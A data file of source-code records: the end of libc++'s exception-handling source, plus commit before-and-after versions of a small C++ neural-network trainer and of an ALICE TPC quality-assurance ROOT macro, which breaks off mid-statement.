func);\n}\n\nterminate_handler\nget_terminate() _NOEXCEPT\n{\n    return __sync_fetch_and_add(&__terminate_handler, (terminate_handler)0);\n}\n\n#ifndef EMSCRIPTEN \/\/ We provide this in JS\n_LIBCPP_NORETURN\nvoid\nterminate() _NOEXCEPT\n{\n#ifndef _LIBCPP_NO_EXCEPTIONS\n    try\n    {\n#endif  \/\/ _LIBCPP_NO_EXCEPTIONS\n        (*get_terminate())();\n        \/\/ handler should not return\n        _libcpp_abort(\"terminate_handler unexpectedly returned\\n\");\n#ifndef _LIBCPP_NO_EXCEPTIONS\n    }\n    catch (...)\n    {\n        \/\/ handler should not throw exception\n        _libcpp_abort(\"terminate_handler unexpectedly threw an exception\\n\");\n    }\n#endif  \/\/ _LIBCPP_NO_EXCEPTIONS\n}\n#endif \/\/ !EMSCRIPTEN\n#endif \/\/ !defined(LIBCXXRT) && !defined(_LIBCPPABI_VERSION)\n\n#if !defined(LIBCXXRT) && !defined(__GLIBCXX__) && !defined(EMSCRIPTEN)\nbool uncaught_exception() _NOEXCEPT\n{\n#if defined(__APPLE__) || defined(_LIBCPPABI_VERSION)\n    \/\/ on Darwin, there is a helper function so __cxa_get_globals is private\n    return __cxa_uncaught_exception();\n#else  \/\/ __APPLE__\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING(\"uncaught_exception not yet implemented\")\n#   else\n#       warning uncaught_exception not yet implemented\n#   endif\n    _libcpp_abort(\"uncaught_exception not yet implemented\\n\");\n#endif  \/\/ __APPLE__\n}\n\n\n#ifndef _LIBCPPABI_VERSION\n\nexception::~exception() _NOEXCEPT\n{\n}\n\nconst char* exception::what() const _NOEXCEPT\n{\n  return \"std::exception\";\n}\n\n#endif  \/\/ _LIBCPPABI_VERSION\n#endif \/\/LIBCXXRT\n#if !defined(_LIBCPPABI_VERSION) && !defined(__GLIBCXX__)\n\nbad_exception::~bad_exception() _NOEXCEPT\n{\n}\n\nconst char* bad_exception::what() const _NOEXCEPT\n{\n  return \"std::bad_exception\";\n}\n\n#endif\n\n#if defined(__GLIBCXX__)\n\n\/\/ libsupc++ does not implement the dependent EH ABI and the functionality\n\/\/ it uses to implement std::exception_ptr (which it declares as an alias of\n\/\/ std::__exception_ptr::exception_ptr) is not directly exported to clients. So\n\/\/ we have little choice but to hijack std::__exception_ptr::exception_ptr's\n\/\/ (which fortunately has the same layout as our std::exception_ptr) copy\n\/\/ constructor, assignment operator and destructor (which are part of its\n\/\/ stable ABI), and its rethrow_exception(std::__exception_ptr::exception_ptr)\n\/\/ function.\n\nnamespace __exception_ptr\n{\n\nstruct exception_ptr\n{\n    void* __ptr_;\n\n    exception_ptr(const exception_ptr&) _NOEXCEPT;\n    exception_ptr& operator=(const exception_ptr&) _NOEXCEPT;\n    ~exception_ptr() _NOEXCEPT;\n};\n\n}\n\n_LIBCPP_NORETURN void rethrow_exception(__exception_ptr::exception_ptr);\n\n#endif\n\nexception_ptr::~exception_ptr() _NOEXCEPT\n{\n#if HAVE_DEPENDENT_EH_ABI\n    __cxa_decrement_exception_refcount(__ptr_);\n#elif defined(__GLIBCXX__)\n    reinterpret_cast<__exception_ptr::exception_ptr*>(this)->~exception_ptr();\n#else\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING(\"exception_ptr not yet implemented\")\n#   else\n#       warning exception_ptr not yet implemented\n#   endif\n    _libcpp_abort(\"exception_ptr not yet implemented\\n\");\n#endif\n}\n\nexception_ptr::exception_ptr(const exception_ptr& other) _NOEXCEPT\n    : __ptr_(other.__ptr_)\n{\n#if HAVE_DEPENDENT_EH_ABI\n    __cxa_increment_exception_refcount(__ptr_);\n#elif defined(__GLIBCXX__)\n    new (reinterpret_cast<void*>(this)) __exception_ptr::exception_ptr(\n        reinterpret_cast<const __exception_ptr::exception_ptr&>(other));\n#else\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING(\"exception_ptr not yet implemented\")\n#   else\n#       warning exception_ptr not yet implemented\n#   endif\n    _libcpp_abort(\"exception_ptr not yet implemented\\n\");\n#endif\n}\n\nexception_ptr& exception_ptr::operator=(const exception_ptr& other) _NOEXCEPT\n{\n#if HAVE_DEPENDENT_EH_ABI\n    if (__ptr_ != other.__ptr_)\n    {\n        __cxa_increment_exception_refcount(other.__ptr_);\n        __cxa_decrement_exception_refcount(__ptr_);\n        __ptr_ = other.__ptr_;\n    }\n    return *this;\n#elif defined(__GLIBCXX__)\n    *reinterpret_cast<__exception_ptr::exception_ptr*>(this) =\n        reinterpret_cast<const __exception_ptr::exception_ptr&>(other);\n    return *this;\n#else\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING(\"exception_ptr not yet implemented\")\n#   else\n#       warning exception_ptr not yet implemented\n#   endif\n    _libcpp_abort(\"exception_ptr not yet implemented\\n\");\n#endif\n}\n\nnested_exception::nested_exception() _NOEXCEPT\n    : __ptr_(current_exception())\n{\n}\n\n#if !defined(__GLIBCXX__)\n\nnested_exception::~nested_exception() _NOEXCEPT\n{\n}\n\n#endif\n\n_LIBCPP_NORETURN\nvoid\nnested_exception::rethrow_nested() const\n{\n    if (__ptr_ == nullptr)\n        terminate();\n    rethrow_exception(__ptr_);\n}\n\n#if !defined(__GLIBCXX__)\n\nexception_ptr current_exception() _NOEXCEPT\n{\n#if HAVE_DEPENDENT_EH_ABI\n    \/\/ be nicer if there was a constructor that took a ptr, then\n    \/\/ this whole function would be just:\n    \/\/    return exception_ptr(__cxa_current_primary_exception());\n    exception_ptr ptr;\n    ptr.__ptr_ = __cxa_current_primary_exception();\n    return ptr;\n#else\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING( \"exception_ptr not yet implemented\" )\n#   else\n#       warning exception_ptr not yet implemented\n#   endif\n    _libcpp_abort(\"exception_ptr not yet implemented\\n\");\n#endif\n}\n\n#endif  \/\/ !__GLIBCXX__\n\n_LIBCPP_NORETURN\nvoid rethrow_exception(exception_ptr p)\n{\n#if HAVE_DEPENDENT_EH_ABI\n    __cxa_rethrow_primary_exception(p.__ptr_);\n    \/\/ if p.__ptr_ is NULL, above returns so we terminate\n    terminate();\n#elif defined(__GLIBCXX__)\n    rethrow_exception(reinterpret_cast<__exception_ptr::exception_ptr&>(p));\n#else\n#   if defined(_MSC_VER) && ! defined(__clang__)\n        _LIBCPP_WARNING(\"exception_ptr not yet implemented\")\n#   else\n#       warning exception_ptr not yet implemented\n#   endif\n    _libcpp_abort(\"exception_ptr not yet implemented\\n\");\n#endif\n}\n} \/\/ std\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/network\/network.h\"\n#include \"..\/classifier\/classifier.h\"\n#include \"..\/trainer\/trainer.h\"\n#include \"..\/reader\/reader.h\"\n#include \"..\/reader\/parsed_data.h\"\n#include <vector>\n#include <iostream>\n#include <sstream> \/\/For char conversion\n#include <string> \/\/For char conversion\n\n\ndouble get_average_error(std::vector<double> all_total_errors)\n{\n    double sum = 0.0;\n    for(auto& total_error: all_total_errors)\n    {\n        sum += total_error;\n    }\n    double average = sum \/ all_total_errors.size();\n    return average;\n}\n\nvoid classify_epoch(Network& network, TrainingData& training_data, Classifier& classifier)\n{\n    for(int i=0; i<training_data.data.size(); i++)\n    {\n        std::vector<double> new_inputs = training_data.data.at(i);\n        classifier.set_input_values(new_inputs);\n        classifier.classify();\n\n        for(int j=0; j<new_inputs.size(); j++)\n        {\n            std::cout<< new_inputs.at(j);\n            std::cout<< \",\";\n        }\n\n        std::cout<< \" - \";\n\n        for(int k=0; k<network.output_layer.size(); k++)\n        {\n            std::cout<< network.output_layer.at(k).outgoing_value;\n            std::cout<< \",\";\n        }\n        std::cout<< std::endl;\n    }\n}\n\nvoid train_epoch(Network& network, TrainingData& training_data, Classifier& classifier, Trainer& trainer)\n{\n    std::vector<double> all_total_errors;\n\n    for(int i=0; i < training_data.data.size(); i++)\n    {\n        std::vector<double> new_inputs = training_data.data.at(i);\n        classifier.set_input_values(new_inputs);\n        classifier.classify();\n\n        std::vector<double> new_targets = training_data.targets.at(i);\n        trainer.set_target_values(new_targets);\n        trainer.train();\n \n        double total_error = trainer.calculate_total_error(network.output_layer);\n        all_total_errors.emplace_back(total_error);\n    }\n\n    trainer.epoch += 1;\n    network.epoch_average_total_error = get_average_error(all_total_errors);\n    if(trainer.epoch % 500 == 0)\n    {\n        std::cout<< trainer.epoch<<\", \"<< network.epoch_average_total_error<< std::endl;\n    }\n}\n\nint main(int argc, char** argv)\n{\n    std::string file_name;\n    if(argc > 0)\n    {\n        file_name = std::string(argv[1]);\n    } else\n    {\n        std::string file_name = \"data\/training\/scatter_plot\";\n    }\n    Reader reader;\n    TrainingData training_data = reader.read_training_data(file_name);\n    Network network(training_data.structure);\n    Classifier classifier(network);\n    Trainer trainer(network, training_data.learning_rate);\n\n    std::cout<< \"Epoch\"<<\", \"<< \"epoch_average_total_error\"<< std::endl;\n    train_epoch(network, training_data, classifier, trainer);\n\n    while(network.epoch_average_total_error > training_data.target_total_error)\n    {\n        train_epoch(network, training_data, classifier, trainer);\n    }\n\n    classify_epoch(network, training_data, classifier);\n    return 0;\n}\n<commit_msg>Found some magic numbers, which I frown upon<commit_after>#include \"..\/network\/network.h\"\n#include \"..\/network\/neuron\/neuron.h\"\n#include \"..\/classifier\/classifier.h\"\n#include \"..\/trainer\/trainer.h\"\n#include \"..\/reader\/reader.h\"\n#include \"..\/reader\/parsed_data.h\"\n#include <vector>\n#include <iostream>\n#include <sstream> \/\/For char conversion\n#include <string> \/\/For char conversion\n\n\ndouble get_average_error(std::vector<double> all_total_errors)\n{\n    double sum = 0.0;\n    for(auto& total_error: all_total_errors)\n    {\n        sum += total_error;\n    }\n    double average = sum \/ all_total_errors.size();\n    return average;\n}\n\nvoid classify_epoch(Network& network, TrainingData& training_data, Classifier& classifier)\n{\n    int training_data_size = training_data.data.size();\n\n    for(int i=0; i<training_data_size; i++)\n    {\n        std::vector<double> new_inputs = training_data.data.at(i);\n        classifier.set_input_values(new_inputs);\n        classifier.classify();\n\n        int new_inputs_size = new_inputs.size();\n        for(int j=0; j<new_inputs_size; j++)\n        {\n            std::cout<< new_inputs.at(j);\n            std::cout<< \",\";\n        }\n\n        std::cout<< \" - \";\n\n        std::vector<Neuron> updated_outputs = network.output_layer;\n\n        int updated_outputs_size = updated_outputs.size();\n        for(int k=0; k<updated_outputs_size; k++)\n        {\n            std::cout<< updated_outputs.at(k).outgoing_value;\n            std::cout<< \",\";\n        }\n        std::cout<< std::endl;\n    }\n}\n\nvoid train_epoch(Network& network, TrainingData& training_data, Classifier& classifier, Trainer& trainer)\n{\n    std::vector<double> all_total_errors;\n    int training_data_size = training_data.data.size();\n\n    for(int i=0; i<training_data_size; i++)\n    {\n        std::vector<double> new_inputs = training_data.data.at(i);\n        classifier.set_input_values(new_inputs);\n        classifier.classify();\n\n        std::vector<double> new_targets = training_data.targets.at(i);\n        trainer.set_target_values(new_targets);\n        trainer.train();\n \n        double total_error = trainer.calculate_total_error(network.output_layer);\n        all_total_errors.emplace_back(total_error);\n    }\n\n    trainer.epoch += 1;\n    network.epoch_average_total_error = get_average_error(all_total_errors);\n    if(trainer.epoch % 500 == 0)\n    {\n        std::cout<< trainer.epoch<<\", \"<< network.epoch_average_total_error<< std::endl;\n    }\n}\n\nint main(int argc, char** argv)\n{\n    std::string file_name;\n    if(argc > 0)\n    {\n        file_name = std::string(argv[1]);\n    } else\n    {\n        std::string file_name = \"data\/training\/scatter_plot\";\n    }\n    Reader reader;\n    TrainingData training_data = reader.read_training_data(file_name);\n    Network network(training_data.structure);\n    Classifier classifier(network);\n    Trainer trainer(network, training_data.learning_rate);\n\n    std::cout<< \"Epoch\"<<\", \"<< \"epoch_average_total_error\"<< std::endl;\n    train_epoch(network, training_data, classifier, trainer);\n\n    while(network.epoch_average_total_error > training_data.target_total_error)\n    {\n        train_epoch(network, training_data, classifier, trainer);\n    }\n\n    classify_epoch(network, training_data, classifier);\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n   \/\/gSystem->AddIncludePath(\"-I$ALICE_ROOT\/PWG1\/TPC\");\n   \/\/.L $ALICE_ROOT\/PWG1\/TPC\/macros\/MakeReportTPC.C+\n   \/\/\n   \/\/MakeReportTPC();\n\n   gSystem->AddIncludePath(\"-I$ALICE_ROOT\/TPC\/macros\");\n   gROOT->LoadMacro(\"$ALICE_ROOT\/TPC\/macros\/AliXRDPROOFtoolkit.cxx+\")\n   AliXRDPROOFtoolkit tool;\n   TChain * chain = tool.MakeChain(\"summaryTPCQA.txt\",\"tpcQA\",0,200000);\n*\/\n\n\n#if !defined(__CINT__) || defined(__MAKECINT__)\n#include \"TSystem.h\"\n#include \"TFile.h\"\n#include \"TGrid.h\"\n#include \"TF1.h\"\n#include \"TH1.h\"\n#include \"TH2.h\"\n#include \"TProfile.h\"\n#include \"THnSparse.h\"\n#include \"TTreeStream.h\"\n#include \"AliPerformanceTPC.h\"\n#endif\n\nTObject *pTPCObject=0;\nTTreeSRedirector  *pcstream=0;\nvoid Init();\nvoid ReadObjects(const char * path=0);\nvoid MakeReportTPC(Int_t run, const char *path=0 );\nvoid AnalyzeNCL();\nvoid AnalyzeDrift();\n\nvoid Init(){\n  \/\/\n  \/\/\n  \/\/\n  gSystem->Load(\"libANALYSIS.so\");\n  gSystem->Load(\"libANALYSISalice.so\");\n  gSystem->Load(\"libTENDER.so\");\n  gSystem->Load(\"libCORRFW.so\");\n  gSystem->Load(\"libPWG0base.so\");\n  gSystem->Load(\"libPWG0dep.so\");\n  gSystem->Load(\"libPWG0selectors.so\");\n  gSystem->Load(\"libPWG1.so\");\n  gSystem->Load(\"libTPCcalib\"); \n  gSystem->Setenv(\"alien_CLOSE_SE\",\"ALICE::GSI::SE\");\n  TGrid::Connect(\"alien:\/\/\",0,0,\"t\"); \n  gSystem->Setenv(\"alien_CLOSE_SE\",\"ALICE::GSI::SE\");    \n}\n\n\nvoid ReadObjects(const char * path){\n  \/\/\n  \/\/\n  \/\/\n  TFile *f =0;\n  if (path) f=TFile::Open(Form(\"%s\/TPC.PerformanceQAQA.root\",path));\n  if (!path) f=TFile::Open(\"TPC.Performance.root\");\n  if (!f){\n    printf(\"File %s not available\\n\", path);\n    return;\n  }\n  TList *list = (TList*)f->Get(\"TPC\");\n  if (!list){\n    printf(\"QA %s not available\\n\", path);\n    return;\n  }\n  pTPCObject= (AliPerformanceTPC*)list->FindObject(\"AliPerformanceTPC\");\n}\n\n\nvoid MakeReportTPC(Int_t run, const char *path ){\n  \/\/\n  \/\/ make a tpcQA report\n  \/\/  typical variables exported to the tree\n  \/\/\n  Init();\n  ReadObjects(path);\n  \n  pcstream= new TTreeSRedirector(\"TPC.PerformanceSummary.root\");\n  (*pcstream)<<\"tpcQA\"<<\"run=\"<<run;\n  AnalyzeNCL();\n  AnalyzeDrift();\n  (*pcstream)<<\"tpcQA\"<<\"\\n\";\n  delete pcstream;\n}\n\n\nvoid AnalyzeNCL(){\n  \/\/\n  \/\/ NCL statistic\n  \/\/    \n  \/\/ variables:\n  static Double_t meanTPCnclF=0;\n  static Double_t rmsTPCnclF=0;\n  static Double_t slopeATPCnclF=0;\n  static Double_t slopeCTPCnclF=0;\n  static Double_t meanTPCncl=0;\n  static Double_t rmsTPCncl=0;\n  static Double_t slopeATPCncl=0;\n  static Double_t slopeCTPCncl=0;\n  AliPerformanceTPC * pTPC=  (AliPerformanceTPC *)pTPCObject;\n\n  TH1* his1D=0;\n  TProfile* hprof=0;\n  static TF1 *fpol1 = new TF1(\"fpol1\",\"pol1\");\n  \/\/\n  \/\/ all clusters\n  \/\/ eta cut - +-1\n  \/\/ pt cut  - +-0.250 GeV\n  pTPC->GetTPCTrackHisto()->GetAxis(5)->SetRangeUser(-1.,1.);\n  pTPC->GetTPCTrackHisto()->GetAxis(7)->SetRangeUser(0.25,10);\n  his1D = pTPC->GetTPCTrackHisto()->Projection(0);\n  meanTPCncl= his1D->GetMean();\n  rmsTPCncl= his1D->GetRMS();\n  delete his1D;\n  hprof = pTPC->GetTPCTrackHisto()->Projection(0,5)->ProfileX();\n  hprof->Fit(fpol1,\"QNR\",\"QNR\",0,0.8);\n  slopeATPCncl= fpol1->GetParameter(1);\n  hprof->Fit(fpol1,\"QNR\",\"QNR\",-0.8,0.0);\n  slopeCTPCncl= fpol1->GetParameter(1);\n  delete hprof;\n  \/\/\n  \/\/ findable clusters\n  \/\/\n  pTPC->GetTPCTrackHisto()->GetAxis(2)->SetRangeUser(0.4,1.1);\n  his1D = pTPC->GetTPCTrackHisto()->Projection(2);\n  meanTPCnclF= his1D->GetMean();\n  rmsTPCnclF= his1D->GetRMS();\n   delete his1D;\n  his1D = pTPC->GetTPCTrackHisto()->Projection(2,5)->ProfileX();\n  his1D->Fit(fpol1,\"QNR\",\"QNR\",0,0.8);\n  slopeATPCnclF= fpol1->GetParameter(1);\n  his1D->Fit(fpol1,\"QNR\",\"QNR\",-0.8,0.0);\n  slopeCTPCnclF= fpol1->GetParameter(1);\n  delete his1D;\n  printf(\"Cluster QA report\\n\");\n  printf(\"meanTPCnclF=\\t%f\\n\",meanTPCnclF);\n  printf(\"rmsTPCnclF=\\t%f\\n\",rmsTPCnclF);\n  printf(\"slopeATPCnclF=\\t%f\\n\",slopeATPCnclF);\n  printf(\"slopeCTPCnclF=\\t%f\\n\",slopeCTPCnclF);\n  printf(\"meanTPCncl=\\t%f\\n\",meanTPCncl);\n  printf(\"rmsTPCncl=\\t%f\\n\",rmsTPCncl);\n  printf(\"slopeATPCncl=\\t%f\\n\",slopeATPCncl);\n  printf(\"slopeCTPCncl=\\t%f\\n\",slopeCTPCncl);\n  \/\/\n  \/\/ dump results to the tree\n  \/\/\n  (*pcstream)<<\"tpcQA\"<<\n    \"meanTPCnclF=\"<<meanTPCnclF <<\n    \"rmsTPCnclF=\"<<rmsTPCnclF <<\n    \"slopeATPCnclF=\"<< slopeATPCnclF<<\n    \"slopeCTPCnclF=\"<< slopeCTPCnclF<<\n    \"meanTPCncl=\"<<meanTPCncl <<\n    \"rmsTPCncl=\"<< rmsTPCncl<<\n    \"slopeATPCncl=\"<< slopeATPCncl<<\n    \"slopeCTPCncl=\"<< slopeCTPCncl;\n\n    \n}\n\nvoid AnalyzeDrift(){\n  \/\/\n  \/\/ Analyze drift velocity imperfections\n  \/\/\n  \/\/ variables:\n  static Double_t offsetdZA=0;\n  static Double_t slopedZA=0;\n  static Double_t offsetdZC=0;\n  static Double_t slopedZC=0;\n  AliPerformanceTPC * pTPC=  (AliPerformanceTPC *)pTPCObject;\n\n  TH1* his1D=0;\n  TH2* his2D=0;\n  static TF1 *fpol1 = new TF1(\"fpol1\",\"pol1\");\n  TObjArray arrayFit;\n  his2D = pTPC->GetTPCTrackHisto()->Projection(4,5);\n  his2D->FitSlicesY(0,0,-1,10,\"QNR\",&arrayFit);\n  delete his2D;\n  his1D = (TH1*) arrayFit.At(1);\n  his1D->Fit(fpol1,\"QNR\",\"QNR\",-0.8,-0.1);\n  offsetdZC=fpol1->GetParameter(0);\n  slopedZC=fpol1->GetParameter(1);\n  his1D->Fit(fpol1,\"QNR\",\"QNR\",0.1,0.8);\n  offsetdZA=fpol1->GetParameter(0);\n  slopedZA=fpol1->GetParameter(1);\n  \/\/\n  printf(\"Drift velocity QA report\\n\");\n  printf(\"offsetdZA\\t%f\\n\",offsetdZA);\n  printf(\"slopedZA\\t%f\\n\",slopedZA);\n  printf(\"offsetdZC\\t%f\\n\",offsetdZC);\n  printf(\"slopedZC\\t%f\\n\",slopedZC);\n  \/\/\n  \/\/ dump drift QA values\n  \/\/\n  (*pcstream)<<\"tpcQA\"<<\n    \"offsetdZA=\"<< offsetdZA<<\n    \"slopedZA=\"<< slopedZA<<\n    \"offsetdZC=\"<< offsetdZC<<\n    \"slopedZC=\"<<slopedZC;\n  \n}\n<commit_msg>Adding chi2 of the fit. (Marian)<commit_after>\/*\n   \/\/gSystem->AddIncludePath(\"-I$ALICE_ROOT\/PWG1\/TPC\");\n   \/\/.L $ALICE_ROOT\/PWG1\/TPC\/macros\/MakeReportTPC.C+\n   \/\/\n   \/\/MakeReportTPC();\n\n   gSystem->AddIncludePath(\"-I$ALICE_ROOT\/TPC\/macros\");\n   gROOT->LoadMacro(\"$ALICE_ROOT\/TPC\/macros\/AliXRDPROOFtoolkit.cxx+\")\n   AliXRDPROOFtoolkit tool;\n   TChain * chain = tool.MakeChain(\"summaryTPCQA.txt\",\"tpcQA\",0,200000);\n\n   TTree *tree = chain->CopyTree(\"1\");\n*\/\n\n\n#if !defined(__CINT__) || defined(__MAKECINT__)\n#include \"TSystem.h\"\n#include \"TMath.h\"\n#include \"TVectorD.h\"\n#include \"TFile.h\"\n#include \"TGrid.h\"\n#include \"TF1.h\"\n#include \"TH1.h\"\n#include \"TH2.h\"\n#include \"TProfile.h\"\n#include \"THnSparse.h\"\n#include \"TTreeStream.h\"\n#include \"AliPerformanceTPC.h\"\n#include \"AliPerformanceDEdx.h\"\n#endif\n\nTObject *pTPCObject=0;\nTObject *pTPCObjectGain=0;\nTTreeSRedirector  *pcstream=0;\nvoid Init();\nvoid ReadObjects(const char * path=0);\nvoid MakeReportTPC(Int_t run, const char *path=0 );\nvoid AnalyzeNCL();\nvoid AnalyzeDrift();\nvoid AnalyzeGain();\n\nvoid Init(){\n  \/\/\n  \/\/\n  \/\/\n  gSystem->Load(\"libANALYSIS.so\");\n  gSystem->Load(\"libANALYSISalice.so\");\n  gSystem->Load(\"libTENDER.so\");\n  gSystem->Load(\"libCORRFW.so\");\n  gSystem->Load(\"libPWG0base.so\");\n  gSystem->Load(\"libPWG0dep.so\");\n  gSystem->Load(\"libPWG0selectors.so\");\n  gSystem->Load(\"libPWG1.so\");\n  gSystem->Load(\"libTPCcalib\"); \n\/\/   gSystem->Setenv(\"alien_CLOSE_SE\",\"ALICE::GSI::SE\");\n\/\/   TGrid::Connect(\"alien:\/\/\",0,0,\"t\"); \n\/\/   gSystem->Setenv(\"alien_CLOSE_SE\",\"ALICE::GSI::SE\");    \n}\n\n\nvoid ReadObjects(const char * path){\n  \/\/\n  \/\/\n  \/\/\n  TFile *f =0;\n  if (path) f=TFile::Open(Form(\"%s\/TPC.PerformanceQAQA.root\",path));\n  if (!path) f=TFile::Open(\"TPC.Performance.root\");\n  if (!f){\n    printf(\"File %s not available\\n\", path);\n    return;\n  }\n  TList *list = (TList*)f->Get(\"TPC\");\n  if (!list){\n    printf(\"QA %s not available\\n\", path);\n    return;\n  }\n  pTPCObject= (AliPerformanceTPC*)list->FindObject(\"AliPerformanceTPC\");\n  pTPCObjectGain = (AliPerformanceDEdx*)list->FindObject(\"AliPerformanceDEdxTPCInner\");\n}\n\n\nvoid MakeReportTPC(Int_t run, const char *path ){\n  \/\/\n  \/\/ make a tpcQA report\n  \/\/  typical variables exported to the tree\n  \/\/\n  Init();\n  ReadObjects(path);\n  \n  pcstream= new TTreeSRedirector(\"TPC.PerformanceSummary.root\");\n  (*pcstream)<<\"tpcQA\"<<\"run=\"<<run;\n  AnalyzeNCL();\n  AnalyzeDrift();\n  AnalyzeGain();\n  (*pcstream)<<\"tpcQA\"<<\"\\n\";\n  delete pcstream;\n}\n\n\nvoid AnalyzeNCL(){\n  \/\/\n  \/\/ NCL statistic\n  \/\/    \n  \/\/ variables:\n  static Double_t meanTPCnclF=0;\n  static Double_t rmsTPCnclF=0;\n  static Double_t slopeATPCnclF=0;\n  static Double_t slopeCTPCnclF=0;\n  static Double_t slopeATPCnclFErr=0;\n  static Double_t slopeCTPCnclFErr=0;\n  static Double_t meanTPCncl=0;\n  static Double_t rmsTPCncl=0;\n  static Double_t slopeATPCncl=0;\n  static Double_t slopeCTPCncl=0;\n  static Double_t slopeATPCnclErr=0;\n  static Double_t slopeCTPCnclErr=0;\n  AliPerformanceTPC * pTPC=  (AliPerformanceTPC *)pTPCObject;\n\n  TH1* his1D=0;\n  TProfile* hprof=0;\n  static TF1 *fpol1 = new TF1(\"fpol1\",\"pol1\");\n  \/\/\n  \/\/ all clusters\n  \/\/ eta cut - +-1\n  \/\/ pt cut  - +-0.250 GeV\n  pTPC->GetTPCTrackHisto()->GetAxis(5)->SetRangeUser(-1.,1.);\n  pTPC->GetTPCTrackHisto()->GetAxis(7)->SetRangeUser(0.25,10);\n  his1D = pTPC->GetTPCTrackHisto()->Projection(0);\n  meanTPCncl= his1D->GetMean();\n  rmsTPCncl= his1D->GetRMS();\n  delete his1D;\n  hprof = pTPC->GetTPCTrackHisto()->Projection(0,5)->ProfileX();\n  hprof->Fit(fpol1,\"QNR\",\"QNR\",0,0.8);\n  slopeATPCncl= fpol1->GetParameter(1);\n  slopeATPCnclErr= fpol1->GetParError(1);\n  hprof->Fit(fpol1,\"QNR\",\"QNR\",-0.8,0.0);\n  slopeCTPCncl= fpol1->GetParameter(1);\n  slopeCTPCnclErr= fpol1->GetParameter(1);\n  delete hprof;\n  \/\/\n  \/\/ findable clusters\n  \/\/\n  pTPC->GetTPCTrackHisto()->GetAxis(2)->SetRangeUser(0.4,1.1);\n  his1D = pTPC->GetTPCTrackHisto()->Projection(2);\n  meanTPCnclF= his1D->GetMean();\n  rmsTPCnclF= his1D->GetRMS();\n  delete his1D;\n  his1D = pTPC->GetTPCTrackHisto()->Projection(2,5)->ProfileX();\n  his1D->Fit(fpol1,\"QNR\",\"QNR\",0,0.8);\n  slopeATPCnclF= fpol1->GetParameter(1);\n  slopeATPCnclFErr= fpol1->GetParError(1);\n  his1D->Fit(fpol1,\"QNR\",\"QNR\",-0.8,0.0);\n  slopeCTPCnclF= fpol1->GetParameter(1);\n  slopeCTPCnclFErr= fpol1->GetParameter(1);\n  delete his1D;\n  printf(\"Cluster QA report\\n\");\n  printf(\"meanTPCnclF=\\t%f\\n\",meanTPCnclF);\n  printf(\"rmsTPCnclF=\\t%f\\n\",rmsTPCnclF);\n  printf(\"slopeATPCnclF=\\t%f\\n\",slopeATPCnclF);\n  printf(\"slopeCTPCnclF=\\t%f\\n\",slopeCTPCnclF);\n  printf(\"meanTPCncl=\\t%f\\n\",meanTPCncl);\n  printf(\"rmsTPCncl=\\t%f\\n\",rmsTPCncl);\n  printf(\"slopeATPCncl=\\t%f\\n\",slopeATPCncl);\n  printf(\"slopeCTPCncl=\\t%f\\n\",slopeCTPCncl);\n  \/\/\n  \/\/ dump results to the tree\n  \/\/\n  (*pcstream)<<\"tpcQA\"<<\n    \"meanTPCnclF=\"<<meanTPCnclF <<   \n    \"rmsTPCnclF=\"<<rmsTPCnclF <<\n    \"slopeATPCnclF=\"<< slopeATPCnclF<<\n    \"slopeCTPCnclF=\"<< slopeCTPCnclF<<\n    \"slopeATPCnclFErr=\"<< slopeATPCnclFErr<<\n    \"slopeCTPCnclFErr=\"<< slopeCTPCnclFErr<<\n    \"meanTPCncl=\"<<meanTPCncl <<\n    \"rmsTPCncl=\"<< rmsTPCncl<<\n    \"slopeATPCncl=\"<< slopeATPCncl<<\n    \"slopeCTPCncl=\"<< slopeCTPCncl<<\n    \"slopeATPCnclErr=\"<< slopeATPCnclErr<<\n    \"slopeCTPCnclErr=\"<< slopeCTPCnclErr;\n\n    \n}\n\nvoid AnalyzeDrift(){\n  \/\/\n  \/\/ Analyze drift velocity imperfections\n  \/\/\n  \/\/ variables:\n  static Double_t offsetdZA=0;\n  static Double_t slopedZA=0;\n  static Double_t offsetdZC=0;\n  static Double_t slopedZC=0;\n  static Double_t offsetdZAErr=0;\n  static Double_t slopedZAErr=0;\n  static Double_t offsetdZCErr=0;\n  static Double_t slopedZCErr=0;\n  static Double_t offsetdZAchi2=0;\n  static Double_t slopedZAchi2=0;\n  static Double_t offsetdZchi2=0;\n  static Double_t slopedZCchi2=0;\n  AliPerformanceTPC * pTPC=  (AliPerformanceTPC *)pTPCObject;\n\n  TH1* his1D=0;\n  TH2* his2D=0;\n  static TF1 *fpol1 = new TF1(\"fpol1\",\"pol1\");\n  TObjArray arrayFit;\n  his2D = pTPC->GetTPCTrackHisto()->Projection(4,5);\n  his2D->FitSlicesY(0,0,-1,10,\"QNR\",&arrayFit);\n  delete his2D;\n  his1D = (TH1*) arrayFit.At(1);\n  his1D->Fit(fpol1,\"QNRROB=0.8\",\"QNR\",-0.8,-0.1);\n  offsetdZC=fpol1->GetParameter(0);\n  slopedZC=fpol1->GetParameter(1);\n  offsetdZCchi2=fpol1->GetChisquare();\n  slopedZCchi2=fpol1->GetChisquare();\n  \/\/\n  his1D->Fit(fpol1,\"QNRROB=0.8\",\"QNR\",0.1,0.8);\n  offsetdZA=fpol1->GetParameter(0);\n  slopedZA=fpol1->GetParameter(1);\n  offsetdZAErr=fpol1->GetParError(0);\n  slopedZAErr=fpol1->GetParError(1);\n  offsetdZAchi2=fpol1->GetChisquare();\n  slopedZAchi2=fpol1->GetChisquare();\n  \/\/\n  printf(\"Drift velocity QA report\\n\");\n  printf(\"offsetdZA\\t%f\\n\",offsetdZA);\n  printf(\"slopedZA\\t%f\\n\",slopedZA);\n  printf(\"offsetdZC\\t%f\\n\",offsetdZC);\n  printf(\"slopedZC\\t%f\\n\",slopedZC);\n  \/\/\n  \/\/ dump drift QA values\n  \/\/\n  (*pcstream)<<\"tpcQA\"<<\n    \"offsetdZA=\"<< offsetdZA<<\n    \"slopedZA=\"<< slopedZA<<\n    \"offsetdZC=\"<< offsetdZC<<\n    \"slopedZC=\"<<slopedZC<<\n    \/\/\n    \"offsetdZAErr=\"<< offsetdZAErr<<\n    \"slopedZAErr=\"<< slopedZAErr<<\n    \"offsetdZCErr=\"<< offsetdZCErr<<\n    \"slopedZCErr=\"<<slopedZCErr<<\n    \/\/\n    